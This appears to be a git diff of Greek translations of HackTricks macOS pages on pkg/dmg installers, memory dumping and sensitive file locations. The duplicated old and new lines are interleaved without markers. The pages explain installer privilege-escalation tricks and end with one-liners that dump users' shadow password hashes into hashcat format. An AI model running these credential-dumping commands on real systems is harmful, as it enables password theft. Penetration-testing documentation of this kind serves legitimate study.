* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Βασικές Πληροφορίες Pkg
Ένα **πακέτο εγκατάστασης macOS** (επίσης γνωστό ως αρχείο `.pkg`) είναι ένα μορφότυπο αρχείου που χρησιμοποιείται από το macOS για τη **διανομή λογισμικού**. Αυτά τα αρχεία είναι σαν ένα **κουτί που περιέχει ό,τι χρειάζεται ένα κομμάτι λογισμικού** για να εγκατασταθεί και να λειτουργήσει σωστά.
Ένα **πακέτο εγκατάστασης macOS** (επίσης γνωστό ως αρχείο `.pkg`) είναι ένα μορφή αρχείου που χρησιμοποιείται από το macOS για τη **διανομή λογισμικού**. Αυτά τα αρχεία είναι σαν ένα **κουτί που περιέχει ό,τι χρειάζεται ένα κομμάτι λογισμικού** για να εγκατασταθεί και να λειτουργήσει σωστά.
Το ίδιο το αρχείο πακέτου είναι ένα αρχείο αρχειοθήκης που κρατά μια **ιεραρχία αρχείων και καταλόγων που θα εγκατασταθούν στον** υπολογιστή-στόχο. Μπορεί επίσης να περιλαμβάνει **σενάρια** για να εκτελέσει εργασίες πριν και μετά την εγκατάσταση, όπως η ρύθμιση αρχείων διαμόρφωσης ή η καθαρισμός παλαιότερων εκδόσεων του λογισμικοϋ.
Το ίδιο το αρχείο πακέτου είναι ένα αρχείο αρχειοθέτησης που κρατά μια **ιεραρχία αρχείων και καταλόγων που θα εγκατασταθούν στον στόχο** υπολογιστή. Μπορεί επίσης να περιλαμβάνει **σενάρια** για να εκτελέσει εργασίες πριν και μετά την εγκατάσταση, όπως η ρύθμιση αρχείων διαμόρφωσης ή η καθαρισμός παλαιότερων εκδόσεων του λογισμικού.
### Ιεραρχία
<figure><img src="../../../.gitbook/assets/Pasted Graphic.png" alt="https://www.youtube.com/watch?v=iASSG0_zobQ"><figcaption></figcaption></figure>
* **Διανομή (xml)**: Προσαρμογές (τίτλος, κείμενο καλωσορίσματος...) και ελέγχοι σεναρίου/εγκατάστασης
* **PackageInfo (xml)**: Πληροφορίες, απαιτήσεις εγκατάστασης, τοποθεσία εγκατάστασης, διαδρομές για τα σενάρια που θα τρέξουν
* **Λογαριασμός υλικών (bom)**: Λίστα αρχείων για εγκατάσταση, ενημέρωση ή αφαίρεση με δικαιώματα αρχείου
* **Φορτίο (CPIO αρχείο gzip συμπιεσμένο)**: Αρχεία για εγκατάσταση στην `τοποθεσία-εγκατάστασης` από το PackageInfo
* **PackageInfo (xml)**: Πληροφορίες, απαιτήσεις εγκατάστασης, τοποθεσία εγκατάστασης, διαδρομές για τα σενάρια που θα εκτελεστούν
* **Λογαριασμός υλικών (bom)**: Λίστα αρχείων προς εγκατάσταση, ενημέρωση ή αφαίρεση με δικαιώματα αρχείου
* **Φορτίο (CPIO αρχείο gzip συμπιεσμένο)**: Αρχεία προς εγκατάσταση στην `τοποθεσία-εγκατάστασης` από το PackageInfo
* **Σενάρια (CPIO αρχείο gzip συμπιεσμένο)**: Προεγκατάσταση και μεταεγκατάσταση σεναρίων και περισσότεροι πόροι εξάγονται σε έναν προσωρινό κατάλογο για εκτέλεση.
### Αποσυμπίεση
@ -48,7 +49,7 @@ cpio -i < Scripts
## Βασικές Πληροφορίες DMG
Τα αρχεία DMG, ή Apple Disk Images, είναι ένα μορφή αρχείου που χρησιμοποιείται από το macOS της Apple για εικόνες δίσκου. Ένα αρχείο DMG είναι ουσιαστικά μια **εικόνα δίσκου που μπορεί να τοποθετηθεί** (περιέχει το δικό του σύστημα αρχείων) που περιέχει ωμά δεδομένα των τετραγωνικών τύπων συμπιεσμένα και μερικές φορές κρυπτογραφημένα. Όταν ανοίγετε ένα αρχείο DMG, το macOS **τοποθετεί το ως να ήταν φυσικός δίσκος**, επιτρέποντάς σας να έχετε πρόσβαση στα περιεχόμενά του.
Τα αρχεία DMG, ή Apple Disk Images, είναι ένα μορφή αρχείου που χρησιμοποιείται από το macOS της Apple για εικόνες δίσκου. Ένα αρχείο DMG είναι ουσιαστικά μια **εικόνα δίσκου που μπορεί να τοποθετηθεί** (περιέχει το δικό του σύστημα αρχείων) που περιέχει ωμά δεδομένα των τετραγωνικών του τομέων συνήθως συμπιεσμένα και μερικές φορές κρυπτογραφημένα. Όταν ανοίγετε ένα αρχείο DMG, το macOS **τοποθετεί το ως να ήταν φυσικός δίσκος**, επιτρέποντάς σας να έχετε πρόσβαση στα περιεχόμενά του.
{% hint style="danger" %}
Σημειώστε ότι οι εγκαταστάτες **`.dmg`** υποστηρίζουν **τόσα πολλά μορφές** ώστε στο παρελθόν μερικοί από αυτούς που περιείχαν ευπάθειες καταχρηστικά χρησιμοποιήθηκαν για να αποκτηθεί **εκτέλεση κώδικα πυρήνα**.
@ -56,13 +57,13 @@ cpio -i < Scripts
### Ιεραρχία
<figure><img src="../../../.gitbook/assets/image (222).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (225).png" alt=""><figcaption></figcaption></figure>
Η ιεραρχία ενός αρχείου DMG μπορεί να είναι διαφορετική ανάλογα με το περιεχόμενο. Ωστόσο, για τα DMG εφαρμογών, συνήθως ακολουθεί αυτή τη δομή:
* Κορυφαίο Επίπεδο: Αυτό είναι το ριζικό επίπεδο της εικόνας δίσκου. Συνήθως περιέχει την εφαρμογή και πιθανώς ένα σύνδεσμο προς τον φάκελο Εφαρμογές.
* Κορυφαίο Επίπεδο: Αυτό είναι το ριζικό της εικόνας δίσκου. Συνήθως περιέχει την εφαρμογή και πιθανώς ένα σύνδεσμο προς τον φάκελο Εφαρμογές.
* Εφαρμογή (.app): Αυτή είναι η πραγματική εφαρμογή. Στο macOS, μια εφαρμογή είναι τυπικά ένα πακέτο που περιέχει πολλά μεμονωμένα αρχεία και φακέλους που αποτελούν την εφαρμογή.
* Σύνδεσμος Εφαρμογών: Αυτός είναι ένας συντομευμένος τρόπος προς τον φάκελο Εφαρμογές στο macOS. Ο σκοπός αυτού είναι να σας διευκολύνει στην εγκατάσταση της εφαρμογής. Μπορείτε να σύρετε το αρχείο .app σε αυτόν το συντόμευση για να εγκαταστήσετε την εφαρμογή.
* Σύνδεσμος Εφαρμογών: Αυτός είναι ένας συντόμευση προς τον φάκελο Εφαρμογές στο macOS. Ο σκοπός αυτού είναι να σας διευκολύνει στην εγκατάσταση της εφαρμογής. Μπορείτε να σύρετε το αρχείο .app σε αυτόν τον συντόμευση για να εγκαταστήσετε την εφαρμογή.
## Ανύψωση προνομίων μέσω κατάχρησης pkg
@ -74,7 +75,7 @@ cpio -i < Scripts
### AuthorizationExecuteWithPrivileges
Αυτή είναι μια [δημόσια συνάρτηση](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) που πολλοί εγκαταστάτες και ενημερωτές θα καλέσουν για να **εκτελέσουν κάτι ως ριζικό χρήστη**. Αυτή η συνάρτηση δέχεται τη **διαδρομή** του **αρχείου** που θα **εκτελεστεί** ως παράμετρο, ωστόσο, αν ένας επιτιθέμενος μπορεί να **τροποποιήσει** αυτό το αρχείο, θα μπορεί να **καταχραστεί** την εκτέλεσή του με ρίζι για να **αναβαθμίσει τα προνόμια**.
Αυτή είναι μια [δημόσια συνάρτηση](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) που πολλοί εγκαταστάτες και ενημερωτές θα καλέσουν για να **εκτελέσουν κάτι ως ριζικός χρήστης**. Αυτή η συνάρτηση δέχεται τη **διαδρομή** του **αρχείου** που θα **εκτελεστεί** ως παράμετρο, ωστόσο, αν ένας επιτιθέμενος μπορούσε να **τροποποιήσει** αυτό το αρχείο, θα μπορούσε να **καταχραστεί** την εκτέλεσή του με ριζικά προνόμια για να **αναβαθμίσει τα προνόμια**.
```bash
# Breakpoint in the function to check wich file is loaded
(lldb) b AuthorizationExecuteWithPrivileges
@ -82,9 +83,9 @@ cpio -i < Scripts
```
### Εκτέλεση με την τοποθέτηση σε σημείο πρόσβασης
Εάν ένα πρόγραμμα εγκατάστασης γράφει στο `/tmp/fixedname/bla/bla`, είναι δυνατόν να **δημιουργηθεί ένα σημείο πρόσβασης** πάνω στο `/tmp/fixedname` χωρίς κάτοχους, έτσι ώστε να μπορείτε **να τροποποιήσετε οποιοδήποτε αρχείο κατά τη διάρκεια της εγκατάστασης** για να καταχραστείτε τη διαδικασία εγκατάστασης.
Εάν ένα πρόγραμμα εγκατάστασης γράφει στο `/tmp/fixedname/bla/bla`, είναι δυνατόν να **δημιουργήσετε ένα σημείο πρόσβασης** πάνω από το `/tmp/fixedname` χωρίς κάτοχους, έτσι ώστε να μπορείτε **να τροποποιήσετε οποιοδήποτε αρχείο κατά τη διάρκεια της εγκατάστασης** για να καταχραστείτε τη διαδικασία εγκατάστασης.
Ένα παράδειγμα αυτού είναι το **CVE-2021-26089** το οποίο κατάφερε να **αντικαταστήσει ένα περιοδικό script** για να εκτελέσει ως root. Για περισσότερες πληροφορίες ανατρέξτε στην ομιλία: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
Ένα παράδειγμα αυτού είναι το **CVE-2021-26089** το οποίο κατάφερε να **αντικαταστήσει ένα περιοδικό script** για να εκτελέσει ως root. Για περισσότερες πληροφορίες, ρίξτε μια ματιά στην ομιλία: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE)
## pkg ως κακόβουλο λογισμικό
@ -94,12 +95,12 @@ cpio -i < Scripts
### JS στο Distribution xml
Είναι δυνατόν να προσθέσετε **`<script>`** tags στο αρχείο **distribution xml** του πακέτου και αυτός ο κώδικας θα εκτελεστεί και μπορεί **να εκτελέσει εντολές** χρησιμοποιώντας **`system.run`**:
Είναι δυνατόν να προσθέσετε ετικέτες **`<script>`** στο αρχείο **distribution xml** του πακέτου και αυτός ο κώδικας θα εκτελεστεί και μπορεί να **εκτελέσει εντολές** χρησιμοποιώντας το **`system.run`**:
<figure><img src="../../../.gitbook/assets/image (1040).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1043).png" alt=""><figcaption></figcaption></figure>
## Αναφορές
* [**DEF CON 27 - Unpacking Pkgs Μια ματιά μέσα στα πακέτα εγκατάστασης του Macos και συνηθισμένα ελαττώματα ασφαλείας**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
* [**OBTS v4.0: "Ο Άγριος Κόσμος των Εγκαταστάσεων macOS" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
* [**DEF CON 27 - Unpacking Pkgs Μια ματιά μέσα στα πακέτα εγκατάστασης του MacOS και συνηθισμένα ελαττώματα ασφαλείας**](https://www.youtube.com/watch?v=iASSG0\_zobQ)
* [**OBTS v4.0: "Ο Άγριος Κόσμος των Εγκαταστάσεων του macOS" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg)
* [**DEF CON 27 - Unpacking Pkgs Μια ματιά μέσα στα πακέτα εγκατάστασης του MacOS**](https://www.youtube.com/watch?v=kCXhIYtODBg)

View file

@ -1,44 +1,45 @@
# macOS Απορρόφηση Μνήμης
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλου λογισμικού**.
[**WhiteIntel**](https://whiteintel.io) είναι μια μηχανή αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κλοπή πληροφοριών.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
{% embed url="https://whiteintel.io" %}
---
***
## Αρτεφάκτα Μνήμης
## Αρχεία Αποτυχίας
### Αρχεία Swap
Τα αρχεία swap, όπως το `/private/var/vm/swapfile0`, λειτουργούν ως **μνήμες cache όταν η φυσική μνήμη είναι γεμάτη**. Όταν δεν υπάρχει άλλος χώρος στη φυσική μνήμη, τα δεδομένα μεταφέρονται σε ένα αρχείο swap και στη συνέχεια επαναφέρονται στη φυσική μνήμη όποτε χρειάζεται. Μπορεί να υπάρχουν πολλά αρχεία swap, με ονόματα όπως swapfile0, swapfile1 κλπ.
Τα αρχεία swap, όπως το `/private/var/vm/swapfile0`, λειτουργούν ως **μνήμες cache όταν η φυσική μνήμη είναι γεμάτη**. Όταν δεν υπάρχει άλλος χώρος στη φυσική μνήμη, τα δεδομένα μεταφέρονται σε ένα αρχείο swap και στη συνέχεια επαναφέρονται στη φυσική μνήμη όταν χρειάζεται. Μπορεί να υπάρχουν πολλά αρχεία swap, με ονόματα όπως swapfile0, swapfile1 κλπ.
### Εικόνα Hibernation
### Εικόνα Αδράνειας
Το αρχείο που βρίσκεται στο `/private/var/vm/sleepimage` είναι κρίσιμο κατά τη διάρκεια της **λειτουργίας υπνώσεως**. **Τα δεδομένα από τη μνήμη αποθηκεύονται σε αυτό το αρχείο όταν το OS X κάνει υπνώση**. Κατά την αφύπνιση του υπολογιστή, το σύστημα ανακτά τα δεδομένα μνήμης από αυτό το αρχείο, επιτρέποντας στον χρήστη να συνεχίσει από το σημείο που σταμάτησε.
Το αρχείο που βρίσκεται στη διαδρομή `/private/var/vm/sleepimage` είναι κρίσιμο κατά τη διάρκεια της **λειτουργίας αδράνειας**. **Τα δεδομένα από τη μνήμη αποθηκεύονται σε αυτό το αρχείο όταν το OS X μπαίνει σε λειτουργία αδράνειας**. Κατά την αφύπνιση του υπολογιστή, το σύστημα ανακτά τα δεδομένα μνήμης από αυτό το αρχείο, επιτρέποντας στον χρήστη να συνεχίσει από το σημείο που σταμάτησε.
Αξίζει να σημειωθεί ότι σε μοντέρνα συστήματα MacOS, αυτό το αρχείο είναι συνήθως κρυπτογραφημένο για λόγους ασφαλείας, κάτι που δυσκολεύει την ανάκτηση.
Αξίζει να σημειωθεί ότι σε μοντέρνα συστήματα MacOS, αυτό το αρχείο είναι τυπικά κρυπτογραφημένο για λόγους ασφαλείας, κάτι που δυσκολεύει την ανάκτηση.
* Για να ελέγξετε αν η κρυπτογράφηση είναι ενεργοποιημένη για το sleepimage, μπορείτε να εκτελέσετε την εντολή `sysctl vm.swapusage`. Αυτό θα δείξει αν το αρχείο είναι κρυπτογραφημένο.
@ -50,7 +51,7 @@
Για να απορροφήσετε τη μνήμη σε μια μηχανή MacOS, μπορείτε να χρησιμοποιήσετε το [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
**Σημείωση**: Οι παρακάτω οδηγίες θα λειτουργήσουν μόνο για Mac με αρχιτεκτονική Intel. Αυτό το εργαλείο είναι τώρα αρχειοθετημένο και η τελευταία έκδοση ήταν το 2017. Το δυαδικό που κατεβάζετε χρησιμοποιώντας τις παρακάτω οδηγίες στοχεύει σε Intel chips καθώς το Apple Silicon δεν υπήρχε το 2017. Μπορεί να είναι δυνατόν να μεταγλωττίσετε το δυαδικό για αρχιτεκτονική arm64 αλλά θα πρέπει να το δοκιμάσετε μόνοι σας.
**Σημείωση**: Οι παρακάτω οδηγίες θα λειτουργήσουν μόνο για Mac με αρχιτεκτονική Intel. Αυτό το εργαλείο είναι τώρα αρχειοθετημένο και η τελευταία έκδοση ήταν το 2017. Το δυαδικό που λήφθηκε χρησιμοποιώντας τις οδηγίες παρακάτω στοχεύει σε chips Intel καθώς το Apple Silicon δεν υπήρχε το 2017. Μπορεί να είναι δυνατόν να μεταγλωττίσετε το δυαδικό για αρχιτεκτονική arm64 αλλά θα πρέπει να το δοκιμάσετε μόνοι σας.
```bash
#Dump raw format
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
@ -58,7 +59,7 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
#Dump aff4 format
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
```
Αν βρείτε αυτό το σφάλμα: `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` Μπορείτε να το διορθώσετε κάνοντας:
Εάν βρείτε αυτό το σφάλμα: `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` Μπορείτε να το διορθώσετε κάνοντας:
```bash
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
sudo kextutil "/tmp/MacPmem.kext"
@ -78,26 +79,27 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) είναι ένας μηχανισμός αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει **δωρεάν** λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες malware**.
[**WhiteIntel**](https://whiteintel.io) είναι ένας μηχανισμός αναζήτησης που τροφοδοτείται από το **dark web** και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν **διαρρεύσει** από **κλέφτες κακόβουλων λογισμικών**.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αρπαγών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από malware που κλέβει πληροφορίες.
Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλα λογισμικά που κλέβουν πληροφορίες.
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τον μηχανισμό τους δωρεάν στο:
Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τον μηχανισμό τους δωρεάν στη διεύθυνση:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** 💬 [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφή**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,25 +1,28 @@
# macOS Ευαίσθητες Τοποθεσίες & Ενδιαφέροντα Daemons
# macOS Ευαίσθητες Τοποθεσίες & Ενδιαφέροντες Δαίμονες
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking του GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Κωδικοί Πρόσβασης
### Σκιώδεις Κωδικοί Πρόσβασης
Ο σκιώδης κωδικός πρόσβασης αποθηκεύεται μαζί με τη διαμόρφωση του χρήστη σε plists που βρίσκονται στο **`/var/db/dslocal/nodes/Default/users/`**.\
Το παρακάτω oneliner μπορεί να χρησιμοποιηθεί για να ανακτήσει **όλες τις πληροφορίες σχετικά με τους χρήστες** (συμπεριλαμβανομένων των πληροφοριών του hash):
Το παρακάτω oneliner μπορεί να χρησιμοποιηθεί για να ανακτήσει **όλες τις πληροφορίες σχετικά με τους χρήστες** (συμπεριλαμβανομένων των πληροφοριών για το hash):
{% code overflow="wrap" %}
```bash
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
```
@ -27,12 +30,14 @@ for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"
[**Σενάρια όπως αυτό εδώ**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) ή [**αυτό**](https://github.com/octomagon/davegrohl.git) μπορούν να χρησιμοποιηθούν για να μετατρέψουν το hash σε μορφή **hashcat**.
Ένα εναλλακτικό one-liner το οποίο θα αδειάσει τα διαπιστευτήρια όλων των λογαριασμών πλην των υπηρεσιών σε μορφή hashcat `-m 7100` (macOS PBKDF2-SHA512):
Ένα εναλλακτικό one-liner το οποίο θα αδειάσει τα διαπιστευτήρια όλων των λογαριασμών μη-υπηρεσιών σε μορφή hashcat `-m 7100` (macOS PBKDF2-SHA512):
{% code overflow="wrap" %}
```bash
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
```
{% endcode %}
### Keychain Dump
